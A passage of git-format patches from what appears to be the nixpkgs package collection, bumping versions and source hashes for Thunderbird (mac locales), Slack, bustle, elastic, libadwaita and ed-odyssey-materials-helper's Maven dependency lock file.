+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/is/Thunderbird%20141.0.dmg";
       locale = "is";
       arch = "mac";
-      sha256 = "8415a7b54e3adbd3eb3d3715bebf782101e54cca6e9e731135b2b7cb158d251d";
+      sha256 = "d182714173b28c64df7da645a48103d49789875f3631d7c780b093847bd211d3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/it/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/it/Thunderbird%20141.0.dmg";
       locale = "it";
       arch = "mac";
-      sha256 = "399a6b8e9bf80ddb89c41f7540e1714adee75e72d19e011f64f0d71a21f149ec";
+      sha256 = "2c5261c937e7692f13c34d7579f1503cef948472d44941e14a546382ed70b8b2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/ja-JP-mac/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/ja-JP-mac/Thunderbird%20141.0.dmg";
       locale = "ja-JP-mac";
       arch = "mac";
-      sha256 = "4d0e01e5cc174cf8df55318370e2d0e23e264b8dff4f460553252efea31beb9c";
+      sha256 = "914f220e69386662bf69579126f76e32f9dcd644f2f078b4ed4627b392fe7241";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/ka/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/ka/Thunderbird%20141.0.dmg";
       locale = "ka";
       arch = "mac";
-      sha256 = "bf0c389c2b82e258837b52f1f7475e6faf6aae6cd77d9d899648b5b66d4ca375";
+      sha256 = "897090d3276194c1a9f902643607cb084b68260fb2db191c0e3c7fa3c7589ab1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/kab/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/kab/Thunderbird%20141.0.dmg";
       locale = "kab";
       arch = "mac";
-      sha256 = "036e168a99f79d2471541d5adaf0809621b24e8ea4294574e4792d7d80441cd4";
+      sha256 = "2123ca3320b119babbe81ca3bae965d961213a42d0f04bedd4aaf3acb29909fb";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/kk/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/kk/Thunderbird%20141.0.dmg";
       locale = "kk";
       arch = "mac";
-      sha256 = "032398ece39285aa3974cd1b33284410c9789b00f92432c30c47de1512a00761";
+      sha256 = "4512ff97d4772719781d8df896cbbf2659dc8c41adf6f65f473246536b179f01";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/ko/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/ko/Thunderbird%20141.0.dmg";
       locale = "ko";
       arch = "mac";
-      sha256 = "c479823c3c2b5f0ab74f8bfde52a2f4ef93824e3838073675254bceb7809ed9f";
+      sha256 = "7baa261979475a26b5a926c00de9c6513a55061b186c22dd300edbda41a4773a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/lt/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/lt/Thunderbird%20141.0.dmg";
       locale = "lt";
       arch = "mac";
-      sha256 = "141bee2b41418376a3264ca5056fbc41107f2eacdec6be44839e2e9ddfc654fc";
+      sha256 = "d267c7b3c8496a99cb7f61a86bc120146f27bf1e68bbff04b09a11a9f98a3de5";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/lv/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/lv/Thunderbird%20141.0.dmg";
       locale = "lv";
       arch = "mac";
-      sha256 = "ba72e77ce1e200fbcb814ede329ac63f93902798b780dfbecdd25fbf3e283c8e";
+      sha256 = "7d36d465b4b7a2e6e382495581de59db26cb7ce2989532450ec9aed5181f2b47";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/ms/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/ms/Thunderbird%20141.0.dmg";
       locale = "ms";
       arch = "mac";
-      sha256 = "d656217a18ad2bd3c1b7333d8faff00d3ff0d778d207ac501d583a4e503f6e5b";
+      sha256 = "3e62ddffd2136478586e3d076d7e4134ca0e4590b0a18549c19c874dbd24f628";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/nb-NO/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/nb-NO/Thunderbird%20141.0.dmg";
       locale = "nb-NO";
       arch = "mac";
-      sha256 = "27006c4d2f05e9968642d2c9fd4b9f5f2d0e8a0d573033e4d37080e6587bdbf0";
+      sha256 = "9a077ac24b4407f936b06ff86a9a63396c0821e124ceed33ed550f662ec5c858";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/nl/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/nl/Thunderbird%20141.0.dmg";
       locale = "nl";
       arch = "mac";
-      sha256 = "21deb09b9e811dc27874e03db6e89003e4a89531a577f8ff3bd119c70beed350";
+      sha256 = "cc17dbf711a5890ce42ed534b4b2d90984e8f2d3563b7736189081a2e58eb668";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/nn-NO/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/nn-NO/Thunderbird%20141.0.dmg";
       locale = "nn-NO";
       arch = "mac";
-      sha256 = "5053cdb691e0c4488076a075e435c889595273ecc4511bfd8481c29eeb0d3660";
+      sha256 = "6d47c5ae8e01d443421ab674660cc8546036827af62fae614f8fad0b66d91cc9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/pa-IN/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/pa-IN/Thunderbird%20141.0.dmg";
       locale = "pa-IN";
       arch = "mac";
-      sha256 = "b469070aabc3a0c4bb4f01099c55b1bca29131be93bd11fd20b1d70a4ca0261b";
+      sha256 = "1b153660dcc8eab58df087174a2b3eea426778a987af026fe01d6e740d60a3bf";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/pl/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/pl/Thunderbird%20141.0.dmg";
       locale = "pl";
       arch = "mac";
-      sha256 = "a5028296bb0ed423c8edaa4a00a12f547551e7c62bc14358ebdeca0873abe48b";
+      sha256 = "76ebfd2c35a566ceeb2a060c37b03be3818acab7345c9e740d009b90afa6c06f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/pt-BR/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/pt-BR/Thunderbird%20141.0.dmg";
       locale = "pt-BR";
       arch = "mac";
-      sha256 = "88c3d59b9d41c0835bbe62ee3d1fbc36a4fe44ea2fb4f04f840ddb49cba6aacb";
+      sha256 = "1ee45a1943fc3884594bf1f33bc685925b76f0e996bf80140be24f19d1975472";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/pt-PT/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/pt-PT/Thunderbird%20141.0.dmg";
       locale = "pt-PT";
       arch = "mac";
-      sha256 = "e47f2d8ee1a63086754c2653c409fb80a9adf8f62d02f986268bef38e432c273";
+      sha256 = "9c9b45702ba9dd5446a4c61adb170d94654655e0ce6b38cec0afb3acf0d2990e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/rm/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/rm/Thunderbird%20141.0.dmg";
       locale = "rm";
       arch = "mac";
-      sha256 = "31d6ccd67c072ec26eb845eb6a3e4dfe0b2d1a3875a1485a7a927adb1d5c2504";
+      sha256 = "7d6eea3ece15c512c7b3fbe11e7fe0fdf8a00ec9da2522881e3be1c0d9c0d4b6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/ro/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/ro/Thunderbird%20141.0.dmg";
       locale = "ro";
       arch = "mac";
-      sha256 = "742b253e8f25d392a84db339e03abb3ba659aa9a879fde3e16a23eb04a66d8a0";
+      sha256 = "9bd37eaaaa6cbb3238d787a1cecd48d87cebef13a97b96186143d74497e3becb";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/ru/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/ru/Thunderbird%20141.0.dmg";
       locale = "ru";
       arch = "mac";
-      sha256 = "e84e985e1875b1f08ac8a2a18001c106abcc6a7b834192392de2e0a5268560c3";
+      sha256 = "7a265ace72210afd5ee969565861a390a308e2357b3adbe3d27aa8c751c4a88f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/sk/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/sk/Thunderbird%20141.0.dmg";
       locale = "sk";
       arch = "mac";
-      sha256 = "51f1d0ecdaaacecbc84308a564ef9f57b3aa483afc3bbeeafd37c978700f7756";
+      sha256 = "4734e9cc1758c9ee7e735228940c74309aeb11cb98de8bdd92f9aa93fd6e62ed";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/sl/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/sl/Thunderbird%20141.0.dmg";
       locale = "sl";
       arch = "mac";
-      sha256 = "bf3c15f870692ab84243631a2e7f51d78cb854dde855e1f968de34c8e6a057e7";
+      sha256 = "761457a8aba8ba260da9f812e87058d74e7c0f8e27160f93777400d35ccff42b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/sq/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/sq/Thunderbird%20141.0.dmg";
       locale = "sq";
       arch = "mac";
-      sha256 = "deb62187c26bc19b70a5b2b5df6a2e5ff682721aba67334fcefcba62cc6ad5d9";
+      sha256 = "bbd056fb5c6b5f043a592f0e3e4723f3eb500a49bb88a3e7631dd6fa67287f6f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/sr/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/sr/Thunderbird%20141.0.dmg";
       locale = "sr";
       arch = "mac";
-      sha256 = "2c7f29fcb9bbb55517648703651afa4538b800a45023b8913f80be9784b31a32";
+      sha256 = "1d4d78d957e44fea001c0721e6fc2e0bbfeb907cb85f3c0ec15938e1822d6b3f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/sv-SE/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/sv-SE/Thunderbird%20141.0.dmg";
       locale = "sv-SE";
       arch = "mac";
-      sha256 = "6d64a6b4de8ff34fa7befa2d720bc6763384dd711f4a80756fee7e6f4ed85ebf";
+      sha256 = "4bdc3f46e20c5906dd6ef107f5ebe173788471e0e9d21e0cbd90cacd4d2eb515";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/th/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/th/Thunderbird%20141.0.dmg";
       locale = "th";
       arch = "mac";
-      sha256 = "7724c3eb006e68d9af2cd92e89ca1edbc9c319bc82e3e72644f5dccf5c222a0e";
+      sha256 = "4354cee3cd4302a5118801c8bd076b282493cdc6e49522269777433b2b207391";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/tr/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/tr/Thunderbird%20141.0.dmg";
       locale = "tr";
       arch = "mac";
-      sha256 = "5fe95d87ad1e67778b631917723729fa350e9f39fc5a5f54d73fe18db3d68478";
+      sha256 = "c2b596ae7302df6af6c6431b48a56207525bf13a99cf3dc2afd9f14d58c330a9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/uk/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/uk/Thunderbird%20141.0.dmg";
       locale = "uk";
       arch = "mac";
-      sha256 = "958ec7f8c988d27d0e2eeb41d3a27bf7750d499d914ceebff639f7ad1c879046";
+      sha256 = "41cd949dce748f3eb6aa0f4bd3d82c3693a75e4cd77eeb62b7cda2bc4a9b2ea9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/uz/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/uz/Thunderbird%20141.0.dmg";
       locale = "uz";
       arch = "mac";
-      sha256 = "e95b66f85d800edb915e52f48257f10e5cde7021584a0e4141b27674a8a9b795";
+      sha256 = "b75f9e5ad3a0b78c1fb8948140c550cb0bcfa6daebdf8b3ebdb27f2359465fd1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/vi/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/vi/Thunderbird%20141.0.dmg";
       locale = "vi";
       arch = "mac";
-      sha256 = "7601c3df7e33f7911da8a3b60738c5e7a682aae078307129dc0f93fc6d3f0e5e";
+      sha256 = "eba46c60236a3616078be2e5bbb85def75b41818974975f141ff2956ece633e6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/zh-CN/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/zh-CN/Thunderbird%20141.0.dmg";
       locale = "zh-CN";
       arch = "mac";
-      sha256 = "d79eb6a92344a955e50639f5b22f63ea344f40f21bd21d0a85a8da7bab8eafa0";
+      sha256 = "4bca83d5949399da5355b8520c6d1eb914cc685e587d6f1161ab1dceb3e27aca";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/zh-TW/Thunderbird%20140.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/zh-TW/Thunderbird%20141.0.dmg";
       locale = "zh-TW";
       arch = "mac";
-      sha256 = "6cf78a8a44080efa01ae1d13dea7033a2d165d2f004489211f468a2ec9ccd9d7";
+      sha256 = "a9e5beea2b1c44530904a4c26aeb1b6b3b86670e488a3d61f8e73f342b3704a7";
     }
   ];
 }

From b7ca8825a9dc85008a3e593bc17aa3d24b872154 Mon Sep 17 00:00:00 2001
From: Jon Hermansen <jon@jh86.org>
Date: Wed, 23 Jul 2025 01:47:38 -0400
Subject: [PATCH 2910/4511] slack: 4.44.65 -> 4.45.64

(cherry picked from commit 7242ab8777677c9254ee7872b6f393ef110918b5)
---
 pkgs/by-name/sl/slack/package.nix | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/sl/slack/package.nix b/pkgs/by-name/sl/slack/package.nix
index 14ef041d6204..6259f4dfee21 100644
--- a/pkgs/by-name/sl/slack/package.nix
+++ b/pkgs/by-name/sl/slack/package.nix
@@ -46,14 +46,14 @@ let
 
   pname = "slack";
 
-  x86_64-darwin-version = "4.44.65";
-  x86_64-darwin-sha256 = "14y33ds3ncgxwlcb0gvi8pfxm7ppfipzalg63x5vnj05q9wn8lby";
+  x86_64-darwin-version = "4.45.64";
+  x86_64-darwin-sha256 = "0skhh16lc0czxd5ifkqy39hibk4ydlfhn41zdif3hl0sd4vcqbvb";
 
-  x86_64-linux-version = "4.44.65";
-  x86_64-linux-sha256 = "ca6ce66685e5897db0b19a79275e9c244693ebaf64a6b2f12a79a2b442d5be47";
+  x86_64-linux-version = "4.45.64";
+  x86_64-linux-sha256 = "7c6af86ab1d5778aec930d4e7d77b9f9948a83a87e8458e821d6f9e8dfed180f";
 
-  aarch64-darwin-version = "4.44.65";
-  aarch64-darwin-sha256 = "1gdvvz2dd06din31qparwhnghjcxmvrc2zll09b3lfhr11im7888";
+  aarch64-darwin-version = "4.45.64";
+  aarch64-darwin-sha256 = "136crd17ybaznp680qb2rl0c8cllkkv21ymf3dck2jhkqbp7v2kj";
 
   version =
     {

From 1f7c3f60c26c62ed70042d32fae49a006d6a84a5 Mon Sep 17 00:00:00 2001
From: Michael Evans <michaelgrahamevans@gmail.com>
Date: Fri, 25 Jul 2025 20:00:54 +0200
Subject: [PATCH 2911/4511] bustle: 0.11.0 -> 0.12.0

(cherry picked from commit 2dd2385b5d48be1779462decb40b770ac0a44479)
---
 pkgs/by-name/bu/bustle/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/bu/bustle/package.nix b/pkgs/by-name/bu/bustle/package.nix
index 10a433f59a35..1c186a1aca13 100644
--- a/pkgs/by-name/bu/bustle/package.nix
+++ b/pkgs/by-name/bu/bustle/package.nix
@@ -19,19 +19,19 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "bustle";
-  version = "0.11.0";
+  version = "0.12.0";
 
   src = fetchFromGitLab {
     domain = "gitlab.gnome.org";
     owner = "World";
     repo = "bustle";
     tag = finalAttrs.version;
-    hash = "sha256-aO7f5xLRuIGVAp+TVveFXtWx/rl/jqbmXNd6zN9dZZw=";
+    hash = "sha256-gzPFODVLvv+Ore1XR+XTi2fjVh3OJOZF0k9vilVnst4=";
   };
 
   cargoDeps = rustPlatform.fetchCargoVendor {
     inherit (finalAttrs) pname version src;
-    hash = "sha256-cofqxgSyj24wVhzImYs/gsWGjQpzOjaf49RdtYgsrbo=";
+    hash = "sha256-DYkicVDjQRIMfKl0f9aLWIyQfR153I43EpSuskenmoA=";
   };
 
   env = lib.optionalAttrs stdenv.hostPlatform.isDarwin {

From a6dd04d237ac8bf079c86dc4eb02589b8fe02db1 Mon Sep 17 00:00:00 2001
From: Michael Evans <michaelgrahamevans@gmail.com>
Date: Fri, 25 Jul 2025 08:57:22 +0200
Subject: [PATCH 2912/4511] elastic: 0.1.6 -> 0.1.9

(cherry picked from commit 9fbfdbaa40541b6630c25b00c60a4b408f27f4e0)
---
 pkgs/by-name/el/elastic/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/el/elastic/package.nix b/pkgs/by-name/el/elastic/package.nix
index 3795840d9884..7ef33ffac2cc 100644
--- a/pkgs/by-name/el/elastic/package.nix
+++ b/pkgs/by-name/el/elastic/package.nix
@@ -19,14 +19,14 @@
 
 stdenv.mkDerivation rec {
   pname = "elastic";
-  version = "0.1.6";
+  version = "0.1.9";
 
   src = fetchFromGitLab {
     domain = "gitlab.gnome.org";
     owner = "World";
     repo = "elastic";
     rev = version;
-    hash = "sha256-D7DqSBP0E0CzjTROh97JXhB8N8q0I2pDo4HbAK8vQ/Y=";
+    hash = "sha256-jK9RcZ5U1Dwkpu1mlfq/l4347eRCd3Y/KDYYIIkGytk=";
   };
 
   nativeBuildInputs = [

From e72e95cd0eb9cb8f41204b5c535c903bd2fefca4 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Robert=20Sch=C3=BCtz?= <nix@dotlambda.de>
Date: Tue, 15 Jul 2025 22:03:50 -0700
Subject: [PATCH 2913/4511] libadwaita: 1.7.4 -> 1.7.5

Diff: https://gitlab.gnome.org/GNOME/libadwaita/-/compare/refs/tags/1.7.4...1.7.5

Changelog: https://gitlab.gnome.org/GNOME/libadwaita/-/blob/1.7.5/NEWS
(cherry picked from commit 3bc4d7773c37eb8c3cf29e6ec172b69f8d414d25)
---
 pkgs/by-name/li/libadwaita/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/li/libadwaita/package.nix b/pkgs/by-name/li/libadwaita/package.nix
index db1fed30f662..8153e16a1583 100644
--- a/pkgs/by-name/li/libadwaita/package.nix
+++ b/pkgs/by-name/li/libadwaita/package.nix
@@ -23,7 +23,7 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "libadwaita";
-  version = "1.7.4";
+  version = "1.7.5";
 
   outputs = [
     "out"
@@ -37,7 +37,7 @@ stdenv.mkDerivation (finalAttrs: {
     owner = "GNOME";
     repo = "libadwaita";
     tag = finalAttrs.version;
-    hash = "sha256-HHSKqYOtIfG6JR8zvXl06tq0iHVVNIpVJLDwyB+nI0I=";
+    hash = "sha256-KlaRwOWHvzm+VwMygiEh8wqJfEwwA+x7o9T72Qpqnmo=";
   };
 
   depsBuildBuild = [

From b5ce7e8be4312c01e19284eb9fcca7dd7fe8230a Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Marcell=20T=C3=B3th?= <elfenermarcell@gmail.com>
Date: Thu, 17 Jul 2025 11:57:10 +0200
Subject: [PATCH 2914/4511] ed-odyssey-materials-helper: 2.178 -> 2.199 and
 fixes

Patches had to be updated due to upstream changes.
Added missing dependencies to make the notification sound work.

(cherry picked from commit 3879f9d005544e8924330d9ad69ec88bf47379c7)
---
 .../ed/ed-odyssey-materials-helper/deps.json  | 375 +++++++++++-------
 .../ed-odyssey-materials-helper/package.nix   |  30 +-
 .../remove-urlscheme-settings.patch           |  16 +-
 3 files changed, 260 insertions(+), 161 deletions(-)

diff --git a/pkgs/by-name/ed/ed-odyssey-materials-helper/deps.json b/pkgs/by-name/ed/ed-odyssey-materials-helper/deps.json
index 8f96bfec3d6f..bb16a752afc2 100644
--- a/pkgs/by-name/ed/ed-odyssey-materials-helper/deps.json
+++ b/pkgs/by-name/ed/ed-odyssey-materials-helper/deps.json
@@ -37,6 +37,13 @@
   "com/fasterxml/jackson#jackson-parent/2.17": {
    "pom": "sha256-rubeSpcoOwQOQ/Ta1XXnt0eWzZhNiSdvfsdWc4DIop0="
   },
+  "com/google/code/gson#gson-parent/2.10.1": {
+   "pom": "sha256-QkjgiCQmxhUYI4XWCGw+8yYudplXGJ4pMGKAuFSCuDM="
+  },
+  "com/google/code/gson#gson/2.10.1": {
+   "jar": "sha256-QkHBSncnw0/uplB+yAExij1KkPBw5FJWgQefuU7kxZM=",
+   "pom": "sha256-0rEVY09cCF20ucn/wmWOieIx/b++IkISGhzZXU2Ujdc="
+  },
   "com/zaxxer#SparseBitSet/1.3": {
    "jar": "sha256-92uFrbDAByGuJnt8/eTaf3HTEhzCFgyfwAwMifjFPIo=",
    "pom": "sha256-EY1n40Uymhjf9OvRVX+V8MCrS0y51nh0nWZvkjAAF2g="
@@ -56,8 +63,8 @@
   "io/freefair/jsass-java#io.freefair.jsass-java.gradle.plugin/6.5.0.2": {
    "pom": "sha256-hoEYwHzaHj3q/o0bF3HzOgyN0lEIEAu/pjFl3hzTvmg="
   },
-  "io/freefair/lombok#io.freefair.lombok.gradle.plugin/8.13.1": {
-   "pom": "sha256-6vi5gMxqRCuZxs++X2Cq5pyQIDFEJxDqQD1T5TjRQfU="
+  "io/freefair/lombok#io.freefair.lombok.gradle.plugin/8.14": {
+   "pom": "sha256-x7YYhUGNcUl2rj2dKku2ETagfKgg3N/9MjXMUT+NtJg="
   },
   "jakarta/platform#jakarta.jakartaee-bom/9.1.0": {
    "pom": "sha256-35jgJmIZ/buCVigm15o6IHdqi6Aqp4fw8HZaU4ZUyKQ="
@@ -178,6 +185,14 @@
   "org/eclipse/ee4j#project/1.0.7": {
    "pom": "sha256-IFwDmkLLrjVW776wSkg+s6PPlVC9db+EJg3I8oIY8QU="
   },
+  "org/gradle/toolchains#foojay-resolver/0.10.0": {
+   "jar": "sha256-DNfKn57RuooyPxkCwFryHdYiOhMDRfvnj15I1YzNbUw=",
+   "module": "sha256-SduV7YEABA8dZfCWuied7msSeCSNL3k7z7itAg59HNA=",
+   "pom": "sha256-vndZUF4PPTTVzJzcaGwZxlIuhMzg+MEJ69LW9HsYqSU="
+  },
+  "org/gradle/toolchains/foojay-resolver-convention#org.gradle.toolchains.foojay-resolver-convention.gradle.plugin/0.10.0": {
+   "pom": "sha256-OpLrFa3uBcGiaCT2SIcqVx6fk99koO3L4TTjjtLY4Q8="
+  },
   "org/gradlex#extra-java-module-info/1.12": {
    "jar": "sha256-ybk/zohPZLCYhCw52Ms4e8n4QARboRZ+7fQROB/OXNc=",
    "module": "sha256-QK7HMDoSAYnizvSrfwfX9emFNndUTj43tbEl6H5MYzU=",
@@ -221,6 +236,10 @@
   }
  },
  "https://repo.maven.apache.org/maven2": {
+  "biz/aQute/bnd#biz.aQute.bnd.annotation/7.1.0": {
+   "jar": "sha256-9pwt46aVwRPRJayAU8kqaAo86dAuolhFCVzy1GJqdmM=",
+   "pom": "sha256-WCLfSRg9+SK6Wa53Oi2Mzrhq4eIPQfGYcxMd0YJJT3o="
+  },
   "ch/qos/logback#logback-classic/1.5.18": {
    "jar": "sha256-PhUz0DIfiBXu9GdQruARG0FVT5pGRMPE0tQEdEsJ9g8=",
    "pom": "sha256-1VfNKrI95KR+zocGQhYqn5Rzn80LHDE+J4MlFO4gODM="
@@ -241,11 +260,14 @@
   "com/fasterxml#oss-parent/65": {
    "pom": "sha256-2wuaUmqeMDxjuptYSWicYfs4kkf6cjEFS5DgvwC0MR4="
   },
+  "com/fasterxml#oss-parent/68": {
+   "pom": "sha256-Jer9ltriQra1pxCPVbLBQBW4KNqlq+I0KJ/W53Shzlc="
+  },
   "com/fasterxml/jackson#jackson-base/2.17.2": {
    "pom": "sha256-fPnFn70UyQVnRxN7kNcKleh3YN/huCRWufAjF9W1b68="
   },
-  "com/fasterxml/jackson#jackson-base/2.19.0": {
-   "pom": "sha256-Noz4ykJkRni737F6sUfJC8QyWaWZUJfD8cT7au9Mdcg="
+  "com/fasterxml/jackson#jackson-base/2.19.1": {
+   "pom": "sha256-tzFwCGYicYqn1sGsCpSbZVD5vRSkRnLBo/K457doLhQ="
   },
   "com/fasterxml/jackson#jackson-bom/2.17.2": {
    "pom": "sha256-H0crC8IATVz0IaxIhxQX+EGJ5481wElxg4f9i0T7nzI="
@@ -253,6 +275,9 @@
   "com/fasterxml/jackson#jackson-bom/2.19.0": {
    "pom": "sha256-sR/LPvM6wH5oDObYXxfELWoz2waG+6z68OQ0j8Y5cbI="
   },
+  "com/fasterxml/jackson#jackson-bom/2.19.1": {
+   "pom": "sha256-um1o7qs6HME6d6it4hl/+aMqoc/+rHKEfUm63YLhuc4="
+  },
   "com/fasterxml/jackson#jackson-bom/2.9.4": {
    "pom": "sha256-ez/Ek1+/U/x5ypo75e1NLIL8pMU/hF0+EzgpMTic4CE="
   },
@@ -262,6 +287,9 @@
   "com/fasterxml/jackson#jackson-parent/2.19": {
    "pom": "sha256-bNk0tNFdfz7hONl7I8y4Biqd5CJX7YelVs7k1NvvWxo="
   },
+  "com/fasterxml/jackson#jackson-parent/2.19.2": {
+   "pom": "sha256-Y5orY90F2k44EIEwOYXKrfu3rZ+FsdIyBjj2sR8gg2U="
+  },
   "com/fasterxml/jackson#jackson-parent/2.9.1": {
    "pom": "sha256-fATwKdKA+7gnTnUCHckPObLGIv40mdrwf8NQgcLZ2f8="
   },
@@ -270,30 +298,30 @@
    "module": "sha256-KMxD6Y54gYA+HoKFIeOKt67S+XejbCVR3ReQ9DDz688=",
    "pom": "sha256-Q3gYTWCK3Nu7BKd4vGRmhj8HpFUqcgREZckQQD+ewLs="
   },
-  "com/fasterxml/jackson/core#jackson-annotations/2.19.0": {
-   "jar": "sha256-6tYOnKwOQrVwkrni0If/Q1NulHfUSGujkwN6jMFWzac=",
-   "module": "sha256-HzHOjWv4Trf0q6Hl/gGn7mshk+mw8rv4zENMRUXVGh8=",
-   "pom": "sha256-MnlOx3WinmcwPfut370Jq/3nKaRPWuJ7Wew8g65vOuA="
+  "com/fasterxml/jackson/core#jackson-annotations/2.19.1": {
+   "jar": "sha256-WjzXIRqyazYhP0OiqUvAUqM4WveAxcE1MpdBstealzA=",
+   "module": "sha256-GpQP75txqcrROLbmRlagMsS82A2DieBXDbP478JMftA=",
+   "pom": "sha256-19pMaD48eSc1pvS2xxwEF0XisdcDWQNQq5rPSufzyy0="
   },
   "com/fasterxml/jackson/core#jackson-core/2.17.2": {
    "jar": "sha256-choYkkHasFJdnoWOXLYE0+zA7eCB4t531vNPpXeaW0Y=",
    "module": "sha256-OCgvt1xzPSOV3TTcC1nsy7Q6p8wxohomFrqqivy38jY=",
    "pom": "sha256-F4IeGYjoMnB6tHGvGjBvSl7lATTyLY0nF7WNqFnrNbs="
   },
-  "com/fasterxml/jackson/core#jackson-core/2.19.0": {
-   "jar": "sha256-2o6Fm6yUh0UoEWol8gxoVg5Ch6y/J2KHEbik+WsChDA=",
